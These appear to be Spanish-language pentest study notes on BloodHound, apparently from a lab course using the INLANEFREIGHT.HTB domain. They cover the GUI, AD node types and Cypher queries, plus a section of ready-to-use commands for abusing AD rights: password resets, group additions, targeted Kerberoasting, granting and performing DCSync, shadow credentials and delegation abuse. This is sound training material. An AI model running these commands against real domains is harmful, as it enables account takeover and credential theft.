Skip to content

BloodHound — Navigating the GUI

Área de grafos

Al iniciar sesión BloodHound ejecuta automáticamente la query Find all Domain Admins y muestra el resultado en el área de grafos. Aquí puedes mover nodos, hacer zoom con el scroll del mouse, y hacer clic en cualquier nodo para ver su información en el panel lateral.


Set as Starting Node      → establece este nodo como origen en pathfinding
Set as Ending Node        → establece este nodo como destino en pathfinding
Shortest Paths to Here    → encuentra todos los caminos más cortos hasta este nodo desde cualquier nodo
Shortest Paths to Here from Owned → rutas de ataque desde nodos marcados como owned
Edit Node                 → editar propiedades del nodo o agregar propiedades personalizadas
Mark as Owned             → marcar el nodo como comprometido (útil con queries de owned)
Mark as High Value        → marcar como objetivo de alto valor
Delete Node               → eliminar el nodo de la base de datos

Marcar nodos como Owned es importante porque habilita queries como Shortest paths to here from Owned que muestran exactamente qué rutas tienes disponibles con los accesos actuales.


# Buscar por nombre
peter

# Buscar por tipo de nodo
user:peter
group:domain
computer:ws01

Tipos de nodo disponibles para AD: Group, Domain, Computer, User, OU, GPO, Container

Para Azure: AZApp, AZRole, AZDevice, AZGroup, AZKeyVault, AZManagementGroup, AZResourceGroup, AZServicePrincipal, AZSubscription, AZTenant, AZUser, AZVM


Pathfinding

Buscar ruta de ataque entre dos nodos:

  1. Buscar el nodo origen → clic derecho → Set as Starting Node
  2. Buscar el nodo destino → clic derecho → Set as Ending Node
  3. O usar el botón de pathfinding en la barra de búsqueda

Si la ruta usa un edge que quieres evitar (ejemplo: no quieres cambiar contraseñas con ForceChangePassword), usa el filtro de edges para excluirlo y BloodHound buscará un camino alternativo.


Refresh             → re-ejecuta la query anterior
Export Graph        → guarda el grafo actual como JSON o PNG
Import Graph        → carga un grafo exportado en JSON
Upload Data         → sube archivos de SharpHound, BloodHound.py o AzureHound
Change Layout       → alterna entre layout jerárquico y force-directed
Settings            → ajustes de visualización y debug
About               → versión y autores

Al subir datos BloodHound agrega lo nuevo pero ignora duplicados. Los zips con contraseña deben descomprimirse antes de subir.


Settings útiles

Node Collapse Threshold   → colapsar nodos con una sola relación (default 5, 0 para desactivar)
Edge Label Display        → cuándo mostrar etiquetas de edges (Always Display para verlos siempre)
Node Label Display        → cuándo mostrar nombres de nodos
Query Debug Mode          → muestra las queries Cypher en el Raw Query Box (útil para aprender)
Low Detail Mode           → mejora performance en grafos grandes
Dark Mode                 → modo oscuro

Activar Query Debug Mode es muy útil para ver qué query Cypher está ejecutando cada acción del GUI y aprender a construir las propias.


Shortcuts

CTRL        → cicla entre los tres modos de display de etiquetas de nodos
Spacebar    → abre el spotlight con todos los nodos del grafo actual
Backspace   → vuelve al grafo anterior
S           → expande/colapsa el panel de información

Database Info

Desde la pestaña Database Info puedes ver estadísticas de la base de datos y administrarla:

Clear Database      → borrar todo (útil al empezar un nuevo assessment)
Clear Sessions      → borrar solo las sesiones
Refresh DB Stats    → actualizar estadísticas
Warming Up Database → cargar toda la DB en memoria para acelerar queries

BloodHound — Nodes

Tipos de nodos en AD

Users       → usuarios que pueden autenticarse y acceder a recursos
Groups      → colecciones lógicas de usuarios y computadoras con permisos asignados
Computers   → dispositivos conectados al dominio
Domains     → agrupación lógica de recursos con administración centralizada
GPOs        → políticas que controlan configuraciones de usuarios y computadoras
OUs         → contenedores para organizar y delegar administración granular
Containers  → similar a OUs pero sin control administrativo, solo organizacional

Secciones del Node Info tab (comunes a todos los nodos)

Overview                → información general del objeto
Node Properties         → atributos por defecto del objeto
Extra Properties        → atributos adicionales (más completo con --CollectAllProperties en SharpHound)
Group Membership        → grupos de seguridad a los que pertenece
Local Admin Rights      → hosts donde el objeto tiene admin local
Execution Rights        → RDP, DCOM, SQL Admin, PSRemote sobre otros hosts
Outbound Object Control → permisos que tiene ESTE objeto sobre OTROS objetos del dominio
Inbound Control Rights  → permisos que tienen OTROS objetos sobre ESTE objeto

Secciones específicas por tipo de nodo

Users

Outbound Object Control y Inbound Control Rights son las más importantes para identificar rutas de ataque. Un usuario con GenericAll sobre otro usuario o grupo aparecerá aquí.

Computers

Local Admins              → quién tiene admin local en esta computadora
Inbound Execution Rights  → quién puede ejecutar comandos en esta computadora (RDP, DCOM, WinRM)
Outbound Execution Rights → sobre qué otras computadoras puede ejecutar este equipo

Groups

Group Members    → usuarios, grupos y computadoras miembros del grupo
Group Membership → en qué otros grupos está este grupo (membresía anidada)

Domains

Foreign Members  → usuarios o grupos de otro dominio con membresía en este dominio
Inbound Trusts   → dominios que confían en este dominio
Outbound Trusts  → dominios en los que este dominio confía

En la sección Overview del dominio hay una opción Map OU Structure que muestra la estructura jerárquica completa del dominio de un vistazo.

OUs y Containers

Affecting GPOs      → GPOs que se aplican a esta OU o container
Descendant Objects  → todos los objetos dentro de esta OU (usuarios, grupos, computadoras)

GPOs

Affected Objects    → usuarios, grupos y computadoras afectados por esta GPO
Inbound Control Rights → quién tiene permisos de escritura sobre esta GPO

Casos prácticos desde el GUI

Ver en qué computadoras un usuario es admin local

Buscar el usuario → Node Info → Local Admin Rights

Ver quién tiene admin local en una computadora específica

Buscar la computadora → Node Info → Local Admins

Ver quién puede conectarse por RDP a un host

Buscar la computadora → Node Info → Inbound Execution Rights → Remote Desktop Users

Ver qué GPOs afectan a una OU

Buscar la OU → Node Info → Affecting GPOs

Ver qué objetos afecta una GPO

Buscar la GPO → Node Info → Affected Objects

Ver qué OU contiene una computadora o usuario

Buscar el objeto → Node Info → Node Properties → distinguishedname El DN se lee de izquierda a derecha: el objeto primero, luego las OUs de más específica a más general.

Ver miembros foráneos de un dominio

Buscar el dominio → Node Info → Foreign Members

BloodHound — Edges & Abuse

Lista de edges en AD

Para ver cómo abusar cualquier edge: clic derecho sobre el edge en el grafo → Help → pestaña Abuse Info. También hay pestaña Opsec Considerations para ver qué tan ruidoso es el ataque.


Cómo usar pathfinding para encontrar rutas de ataque

  1. Buscar el nodo origen en la barra de búsqueda
  2. Clic derecho → Set as Starting Node
  3. Buscar el nodo destino
  4. Clic derecho → Set as Ending Node
  5. BloodHound muestra el camino más corto

Si una ruta usa un edge que quieres evitar, usar el filtro para excluirlo y BloodHound busca ruta alternativa.


Abuso de edges — Comandos

ForceChangePassword

El usuario atacante tiene el derecho de resetear la contraseña de la víctima sin conocer la contraseña actual. Es como si fuera el administrador de esa cuenta. Útil para tomar control de una cuenta y luego usarla para moverse lateralmente.

c
$SecPassword = ConvertTo-SecureString 'Password11' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('INLANEFREIGHT\grace', $SecPassword)
$UserPassword = ConvertTo-SecureString 'NewPassword123!' -AsPlainText -Force
Set-DomainUserPassword -Identity rosy -AccountPassword $UserPassword -Credential $Cred -Verbose

# Alternativa nativa (más ruidoso)
net user rosy NewPassword123! /domain

CanRDP

El usuario tiene permisos para conectarse al host via Remote Desktop. Permite obtener una sesión gráfica interactiva en el host, lo que genera un TGT completo en memoria y permite usar herramientas que fallan desde WinRM.

c
xfreerdp /v:<IP> /u:rosy /p:NewPassword123!

CanPSRemote

El usuario puede conectarse al host via WinRM (puerto 5985/5986). Permite ejecutar comandos remotamente pero con las limitaciones del Double Hop que no genera TGT.

c
evil-winrm -i <IP> -u rosy -p NewPassword123!

# Desde Windows
$Cred = New-Object System.Management.Automation.PSCredential('INLANEFREIGHT\rosy', (ConvertTo-SecureString 'NewPassword123!' -AsPlainText -Force))
Enter-PSSession -ComputerName SRV01 -Credential $Cred

AdminTo

El usuario es administrador local en ese host. Permite ejecutar comandos como admin, dumpear credenciales con Mimikatz, leer la SAM, y moverse lateralmente desde ese host.

c
psexec.py INLANEFREIGHT/sarah:Password12@<IP>
wmiexec.py INLANEFREIGHT/sarah:Password12@<IP>
evil-winrm -i <IP> -u sarah -p Password12

AddMembers

El usuario tiene permisos para agregar otros usuarios al grupo objetivo. Permite agregarse a sí mismo o a cualquier otra cuenta comprometida al grupo y heredar todos sus privilegios.

c
$Cred = New-Object System.Management.Automation.PSCredential('INLANEFREIGHT\martha', (ConvertTo-SecureString 'Password13' -AsPlainText -Force))
Add-DomainGroupMember -Identity 'ITManagers' -Members 'htb-student' -Credential $Cred -Verbose
Get-DomainGroupMember -Identity 'ITManagers'

AddSelf

Similar a AddMembers pero el usuario solo puede agregarse a sí mismo al grupo, no a otros usuarios. Permite heredar los privilegios del grupo con solo una cuenta comprometida.

c
$Cred = New-Object System.Management.Automation.PSCredential('INLANEFREIGHT\victor', (ConvertTo-SecureString 'Password14' -AsPlainText -Force))
Add-DomainGroupMember -Identity 'ITManagers' -Members 'victor' -Credential $Cred -Verbose

GenericAll sobre usuario

Es el derecho más amplio posible sobre un objeto. El atacante tiene control total sobre la cuenta víctima. Puede cambiar su contraseña, asignarle un SPN para Kerberoasting, quitarle la pre-autenticación para ASREPRoasting, o modificar cualquier atributo.

c
$Cred = New-Object System.Management.Automation.PSCredential('INLANEFREIGHT\pedro', (ConvertTo-SecureString 'Password17' -AsPlainText -Force))

# Opción 1 - Cambiar contraseña (destructivo)
$NewPass = ConvertTo-SecureString 'NewPass123!' -AsPlainText -Force
Set-DomainUserPassword -Identity ester -AccountPassword $NewPass -Credential $Cred -Verbose

# Opción 2 - SPN falso para Kerberoasting (menos destructivo)
Set-DomainObject -Credential $Cred -Identity ester -SET @{serviceprincipalname='fake/LEGIT'} -Verbose
.\Rubeus.exe kerberoast /user:ester /nowrap
# Cleanup
Set-DomainObject -Credential $Cred -Identity ester -Clear serviceprincipalname -Verbose

# Opción 3 - Deshabilitar pre-auth para ASREPRoasting (menos destructivo)
Set-DomainObject -Credential $Cred -Identity ester -XOR @{useraccountcontrol=4194304} -Verbose
.\Rubeus.exe asreproast /user:ester /nowrap

GenericAll sobre grupo

Control total sobre el grupo. Permite agregar cualquier usuario al grupo y heredar sus privilegios.

c
$Cred = New-Object System.Management.Automation.PSCredential('INLANEFREIGHT\pedro', (ConvertTo-SecureString 'Password17' -AsPlainText -Force))
Add-DomainGroupMember -Identity 'ITAdmins' -Members 'htb-student' -Credential $Cred -Verbose

GenericWrite

El atacante puede modificar atributos no protegidos del objeto víctima pero no tiene control total. El abuso más común es asignar un SPN falso para hacer Kerberoasting dirigido y obtener el hash de la contraseña del usuario para crackearlo offline.

c
$Cred = New-Object System.Management.Automation.PSCredential('INLANEFREIGHT\nicole', (ConvertTo-SecureString 'Password21' -AsPlainText -Force))

# Asignar SPN falso al objetivo
Set-DomainObject -Credential $Cred -Identity albert -SET @{serviceprincipalname='fake/LEGIT'} -Verbose

# Kerberoastear al objetivo
.\Rubeus.exe kerberoast /user:albert /nowrap
hashcat -m 13100 hash.txt /usr/share/wordlists/rockyou.txt

# Cleanup
Set-DomainObject -Credential $Cred -Identity albert -Clear serviceprincipalname -Verbose

WriteDACL

El atacante puede modificar la lista de control de acceso (ACL) del objeto víctima. Esto permite otorgarse a sí mismo o a cualquier otra cuenta cualquier derecho sobre ese objeto, incluyendo GenericAll o derechos de DCSync sobre el dominio.

c
$Cred = New-Object System.Management.Automation.PSCredential('INLANEFREIGHT\carlos', (ConvertTo-SecureString 'Password18' -AsPlainText -Force))

# Otorgarse GenericAll sobre un usuario
Add-DomainObjectAcl -Credential $Cred -TargetIdentity juliette -PrincipalIdentity carlos -Rights All -Verbose

# Otorgarse DCSync sobre el dominio
Add-DomainObjectAcl -Credential $Cred -TargetIdentity "DC=inlanefreight,DC=htb" -PrincipalIdentity carlos -Rights DCSync -Verbose

WriteOwner

El atacante puede cambiar el propietario del objeto víctima. El propietario de un objeto tiene control implícito sobre él. El flujo es: tomar propiedad → otorgarse GenericAll → hacer lo que quieras con el objeto.

c
$Cred = New-Object System.Management.Automation.PSCredential('INLANEFREIGHT\indhi', (ConvertTo-SecureString 'Password20' -AsPlainText -Force))

# Paso 1 - Tomar propiedad del objeto
Set-DomainObjectOwner -Credential $Cred -Identity juliette -OwnerIdentity indhi -Verbose

# Paso 2 - Otorgarse GenericAll ahora que eres propietario
Add-DomainObjectAcl -Credential $Cred -TargetIdentity juliette -PrincipalIdentity indhi -Rights All -Verbose

# Paso 3 - Cambiar contraseña o cualquier otro abuso de GenericAll
$NewPass = ConvertTo-SecureString 'NewPass123!' -AsPlainText -Force
Set-DomainUserPassword -Identity juliette -AccountPassword $NewPass -Credential $Cred -Verbose

DCSync

El usuario tiene los derechos de replicación sobre el dominio (DS-Replication-Get-Changes y DS-Replication-Get-Changes-All). Esto le permite simular ser un Domain Controller y solicitar al DC que le replique los hashes de contraseñas de cualquier cuenta, incluyendo el Administrator y el KRBTGT.

c
# Linux
secretsdump.py INLANEFREIGHT/peter:Licey2023@<DC IP>

# Solo el Administrator
secretsdump.py -just-dc-user INLANEFREIGHT/administrator INLANEFREIGHT/peter:Licey2023@<DC IP>

# Windows con Mimikatz
mimikatz # lsadump::dcsync /user:INLANEFREIGHT\administrator /domain:INLANEFREIGHT.HTB

ReadLAPSPassword

LAPS (Local Administrator Password Solution) genera contraseñas aleatorias para el administrador local de cada host y las guarda en el atributo ms-mcs-admpwd del objeto de computadora en AD. Este edge indica que el usuario puede leer ese atributo, dándole la contraseña de admin local del host.

c
$Cred = New-Object System.Management.Automation.PSCredential('INLANEFREIGHT\cherly', (ConvertTo-SecureString 'Password24' -AsPlainText -Force))
Get-DomainComputer LAPS01 -Credential $Cred -Properties ms-mcs-admpwd,ms-mcs-admpwdexpirationtime

ReadGMSAPassword

Las Group Managed Service Accounts (gMSA) tienen contraseñas gestionadas automáticamente por AD. Este edge indica que el usuario puede leer esa contraseña del atributo msds-ManagedPassword, lo que permite autenticarse como esa cuenta de servicio y heredar todos sus privilegios.

c
$Cred = New-Object System.Management.Automation.PSCredential('INLANEFREIGHT\cherly', (ConvertTo-SecureString 'Password24' -AsPlainText -Force))
Get-DomainObject svc_devadm -Credential $Cred -Properties msds-ManagedPassword

El atacante puede modificar el atributo msDS-KeyCredentialLink del objeto víctima. Esto permite agregar una clave de certificado al objeto y luego usar esa clave para obtener un TGT de la víctima sin conocer su contraseña. Es un ataque silencioso porque no modifica la contraseña ni atributos obvios.

c
# Agregar credencial al objeto víctima (PyWhisker)
python3 pywhisker.py -d inlanefreight.htb -u sarah -p Password12 --target indhi --action add

# Usar el certificado generado para pedir TGT de indhi
python3 gettgtpkinit.py inlanefreight.htb/indhi -pfx-base64 <base64> indhi.ccache
export KRB5CCNAME=indhi.ccache

# Con el TGT de indhi hacer DCSync o lo que sea
secretsdump.py -k -no-pass inlanefreight.htb/indhi@<DC>

AllowedToDelegate — Constrained Delegation

La cuenta tiene permisos para impersonar a cualquier usuario al autenticarse a un servicio específico. Permite pedir tickets de servicio en nombre del Administrator u otro usuario privilegiado para acceder al servicio objetivo.

c
# Pedir TGT para la cuenta con delegación
.\Rubeus.exe asktgt /user:ester /password:Password15 /domain:inlanefreight.htb /ptt

# Usar S4U2Self + S4U2Proxy para impersonar al Administrator
.\Rubeus.exe s4u /impersonateuser:administrator /msdsspn:cifs/SRV01 /ptt

# Acceder al servicio como Administrator
ls \\SRV01\c$

AllExtendedRights

El usuario tiene todos los derechos extendidos sobre el objeto. Dependiendo del tipo de objeto permite cambiar contraseñas, leer atributos protegidos como LAPS o gMSA passwords, o ejecutar DCSync. Es esencialmente como tener GenericAll en términos de lo que puedes hacer.

BloodHound — Analyzing BloodHound Data

Flujo de análisis recomendado

1. Empezar con el dominio

Buscar: domain:INLANEFREIGHT.HTB

Muestra el resumen del dominio: cantidad de usuarios, grupos, computadoras, OUs, GPOs y el nivel funcional. El nivel funcional da una idea de la antigüedad del entorno y posibles vulnerabilidades legacy.

2. Revisar el grupo Domain Users

Todo usuario del dominio hereda los derechos de Domain Users. Si este grupo tiene algún permiso interesante, todos los usuarios lo tienen.

Buscar: group:Domain Users
→ Outbound Object Control → Transitive Object Control

Muestra todos los objetos sobre los que Domain Users tiene control, incluyendo rutas encadenadas.

3. Buscar ruta de Domain Users a Domain Admins

Pathfinding:
Origen: DOMAIN USERS@INLANEFREIGHT.HTB
Destino: DOMAIN ADMINS@INLANEFREIGHT.HTB

Si no hay ruta directa, no todos los usuarios tienen camino a DA. Si hay ruta, es una misconfiguration crítica.

4. Revisar los Domain Admins

Buscar: group:Domain Admins
→ Group Members (directos y unrolled por membresía anidada)
→ Sessions (hosts donde hay un DA conectado actualmente)

Pre-Built Analytics Queries más importantes

Desde la pestaña Analysis en el GUI:

Find All Domain Admins                          → lista completa de DAs directos y anidados
Find Shortest Paths to Domain Admins            → todas las rutas posibles hacia DA
Find Principals with DCSync Rights              → cuentas que pueden hacer DCSync
Users with Foreign Domain Group Membership      → usuarios en grupos de otros dominios
Groups with Foreign Domain Group Membership     → grupos en grupos de otros dominios
Map Domain Trusts                               → todos los trusts del dominio actual
Shortest Paths to Unconstrained Delegation      → rutas hacia hosts con Unconstrained Delegation
Shortest Paths from Kerberoastable Users        → rutas a DA desde cuentas Kerberoasteables
Shortest Path from Owned Principals             → rutas desde nodos marcados como owned
Shortest Paths to Domain Admins from Owned      → ruta más corta a DA desde owned
Shortest Paths to High-Value Targets            → rutas a objetivos de alto valor

Owned Principals — Marcar nodos comprometidos

Cuando comprometes una cuenta o host, márcalo como owned en BloodHound para ver qué puedes hacer desde ahí:

Clic derecho en el nodo → Mark as Owned

El nodo queda marcado con un ícono de calavera. Luego:

Analysis → Shortest Path from Owned Principals
Analysis → Shortest Paths to Domain Admins from Owned Principals

Esto muestra exactamente qué rutas de ataque tienes disponibles con los accesos actuales.


Encontrar sesiones activas

Las sesiones indican dónde están conectados los usuarios en el momento de la recolección. Si un DA tiene sesión en un host donde tienes admin local, puedes dumpear sus credenciales con Mimikatz.

Buscar: group:Domain Admins
→ Sessions → clic en el número → muestra el host y el usuario conectado

También se puede buscar sesiones desde el nodo de una computadora:

Buscar: computer:WS01
→ Sessions → usuarios conectados a ese host

Verificar derechos de un usuario sobre otro objeto

Para ver qué derechos tiene un usuario específico sobre otro objeto:

Buscar el usuario → Outbound Object Control

O usar pathfinding entre el usuario y el objeto objetivo para ver la ruta y los edges involucrados.

Para ver quién tiene derechos sobre un objeto específico:

Buscar el objeto → Inbound Control Rights

Verificar GPOs que afectan un contenedor

Buscar: ou:Domain Controllers
→ Affecting GPOs → lista de GPOs aplicadas a ese contenedor

Si una GPO no estándar afecta al contenedor de Domain Controllers y un usuario no privilegiado tiene escritura sobre ella, es una ruta de escalada crítica.

Para ver qué objetos afecta una GPO:

Buscar: gpo:Screensaver
→ Affected Objects → OUs, usuarios y computadoras afectados

Resumen del flujo completo de análisis

1. domain:<dominio>                          → overview general
2. group:Domain Users → Transitive Control   → derechos heredados por todos
3. Pathfinding DA Users → DA Group           → ¿hay ruta directa?
4. Analysis → Shortest Paths to DA           → todas las rutas posibles
5. Analysis → Find Principals with DCSync    → quién puede dumpear hashes
6. Marcar nodos comprometidos como Owned
7. Analysis → Shortest Path from Owned       → qué puedes hacer con lo que tienes
8. Buscar sesiones de DAs en hosts accesibles

BloodHound — Cypher Queries

Conceptos básicos de Cypher

Cypher es el lenguaje de consultas de Neo4j, similar a SQL pero diseñado para grafos. BloodHound lo usa para encontrar relaciones entre objetos de AD.

Nodos        → objetos AD entre paréntesis: (n:User)
Relaciones   → entre corchetes con dirección: -[r:MemberOf]->
Variables    → placeholder para referenciar el objeto: n, r, g, p
Labels       → tipo del nodo después de dos puntos: :User, :Group, :Computer
Propiedades  → atributos del objeto entre llaves: {name:"PETER@..."}

Cheat sheets:


Sintaxis básica

Keywords principales

MATCH    → buscar patrones de nodos y relaciones
WHERE    → filtrar resultados
RETURN   → especificar qué devolver

Queries básicas

c
# Todos los usuarios
MATCH (u:User) RETURN u

# Usuario específico por nombre
MATCH (u:User {name:"PETER@INLANEFREIGHT.HTB"}) RETURN u

# Usuario específico con WHERE
MATCH (u:User) WHERE u.name = "PETER@INLANEFREIGHT.HTB" RETURN u

# Grupos a los que pertenece Peter
MATCH (u:User {name:"PETER@INLANEFREIGHT.HTB"})-[r:MemberOf]->(peterGroups)
RETURN peterGroups

# Mostrar el grafo completo de la relación
MATCH p=((n:User {name:"PETER@INLANEFREIGHT.HTB"})-[r:MemberOf]->(g:Group))
RETURN p

Profundidad de la relación con *

c
# Membresía de Peter en todos los grupos incluyendo anidados (cualquier profundidad)
MATCH p=((u:User {name:"PETER@INLANEFREIGHT.HTB"})-[r:MemberOf*1..]->(g:Group))
RETURN p

# Máximo 2 niveles de profundidad
MATCH p=(n:User)-[r1:MemberOf*1..2]->(g:Group) RETURN p

*1.. significa mínimo 1 relación, máximo sin límite. *1..2 limita a 2 niveles.


Filtros avanzados

CONTAINS y regex

c
# Filtrar por nombre que contiene una cadena
MATCH p=(n:User)-[r1:MemberOf*1..]->(g:Group)
WHERE nodes(p)[1].name CONTAINS 'ITSECURITY'
RETURN p

# Con regex (case insensitive)
MATCH p=(n:User)-[r1:MemberOf*1..]->(g:Group)
WHERE nodes(p)[1].name =~ '(?i)itsecurity.*'
RETURN p

(?i) hace la búsqueda case insensitive. .* coincide con cualquier cantidad de caracteres.


Queries de ataque más importantes

La query más poderosa — shortest path desde cualquier nodo

c
# Desde un usuario específico a cualquier nodo
MATCH p = shortestPath((n)-[*1..]->(c))
WHERE n.name =~ '(?i)peter.*' AND NOT c=n
RETURN p

# Todos los shortest paths (más resultados, más lento)
MATCH p = allshortestPaths((n)-[*1..]->(c))
WHERE n.name =~ '(?i)peter.*' AND NOT c=n
RETURN p

Útil cuando comprometes un usuario y quieres ver todas sus opciones de movimiento sin depender de las queries pre-construidas.

Shortest path a Domain Admins

c
MATCH p=shortestPath((n)-[*1..]->(m:Group {name:"DOMAIN ADMINS@INLANEFREIGHT.HTB"}))
WHERE NOT n=m
RETURN p

Sesiones de un usuario específico

c
MATCH (u:User)-[:HasSession]->(c:Computer)
WHERE toLower(u.name) CONTAINS 'julio'
RETURN u.name, c.name

Derechos de un usuario sobre objetos del dominio

c
MATCH p=((n:User {name:"SARAH@INLANEFREIGHT.HTB"})-[r]->(m))
RETURN p

Derechos específicos sobre un usuario

c
MATCH (n)-[r]->(u:User {name:"NICOLE@INLANEFREIGHT.HTB"})
RETURN n.name, type(r)

Queries para encontrar misconfigurations

Usuarios con descripción no vacía (buscar contraseñas)

c
MATCH (u:User)
WHERE u.description IS NOT NULL
RETURN u.name, u.description

Derechos peligrosos de Domain Users sobre computadoras

c
MATCH p=(g:Group)-[r:Owns|WriteDacl|GenericAll|WriteOwner|ExecuteDCOM|GenericWrite|AllowedToDelegate|ForceChangePassword]->(c:Computer)
WHERE g.name STARTS WITH "DOMAIN USERS"
RETURN p

Todos los admins locales y en qué hosts

c
MATCH (c:Computer) OPTIONAL MATCH (u1:User)-[:AdminTo]->(c) OPTIONAL MATCH (u2:User)-[:MemberOf*1..]->(:Group)-[:AdminTo]->(c) WITH COLLECT(u1) + COLLECT(u2) AS TempVar,c UNWIND TempVar AS Admins
RETURN c.name AS COMPUTER, COUNT(DISTINCT(Admins)) AS ADMIN_COUNT, COLLECT(DISTINCT(Admins.name)) AS USERS
ORDER BY ADMIN_COUNT DESC

Encontrar todos los nodos con un edge específico

c
# WriteSPN
MATCH p=((n)-[r:WriteSPN]->(m)) RETURN p

# GenericAll
MATCH p=((n)-[r:GenericAll]->(m)) RETURN p

# DCSync
MATCH p=((n)-[r:DCSync]->(m)) RETURN p

# Reemplaza el edge por cualquier otro de la lista

Desde nodos owned hacia cualquier destino

c
MATCH p = allshortestPaths((n)-[*1..]->(c))
WHERE n.owned = true AND NOT c=n
RETURN p

Usuarios con Unconstrained Delegation

c
MATCH (u:User {unconstraineddelegation:true}) RETURN u.name

MATCH (c:Computer {unconstraineddelegation:true}) RETURN c.name

Usuarios ASREPRoasteables

c
MATCH (u:User {dontreqpreauth:true}) RETURN u.name

Usuarios Kerberoasteables

c
MATCH (u:User) WHERE u.hasspn = true RETURN u.name

Computadoras donde Domain Admins tienen sesión

c
MATCH (g:Group {name:"DOMAIN ADMINS@INLANEFREIGHT.HTB"})-[:HasSession]->(c:Computer)
RETURN c.name

Habilitar Query Debug Mode

Settings → Query Debug Mode → ON

Muestra la query Cypher de cada acción del GUI en el Raw Query Box. Útil para aprender cómo están construidas las queries pre-construidas y adaptarlas.


Guardar Custom Queries

Ubicación del archivo

Windows: %AppData%\Roaming\bloodhound\customqueries.json
Linux:   /root/.config/bloodhound/customqueries.json
         /home/<usuario>/.config/bloodhound/customqueries.json

Formato del archivo

c
{
    "queries": [
        {
            "name": "Shortest Path from Peter to Anything",
            "category": "Shortest Paths",
            "queryList": [
                {
                    "final": true,
                    "query": "MATCH p = allshortestPaths((n)-[*1..]->(c)) WHERE n.name =~ '(?i)peter.*' AND NOT c=n RETURN p",
                    "allowCollapse": true
                }
            ]
        }
    ]
}

Query interactiva — seleccionar nodo owned y buscar rutas

c
{
    "queries": [
        {
            "name": "Search From Owned to Anything",
            "category": "Shortest Paths",
            "queryList": [
                {
                    "final": false,
                    "title": "Select the node to search...",
                    "query": "MATCH (n {owned:true}) RETURN n.name",
                    "props": {"name": ".*"}
                },
                {
                    "final": true,
                    "query": "MATCH p = allshortestPaths((n)-[*1..]->(c)) WHERE n.name = $result AND NOT c=n RETURN p",
                    "allowCollapse": true,
                    "endNode": "{}"
                }
            ]
        }
    ]
}

La primera query lista todos los nodos marcados como owned. La segunda usa la selección ($result) para buscar todas las rutas desde ese nodo.

Después de editar el archivo hacer clic en el ícono de refresh en Custom Queries dentro del GUI.


Lectura adicional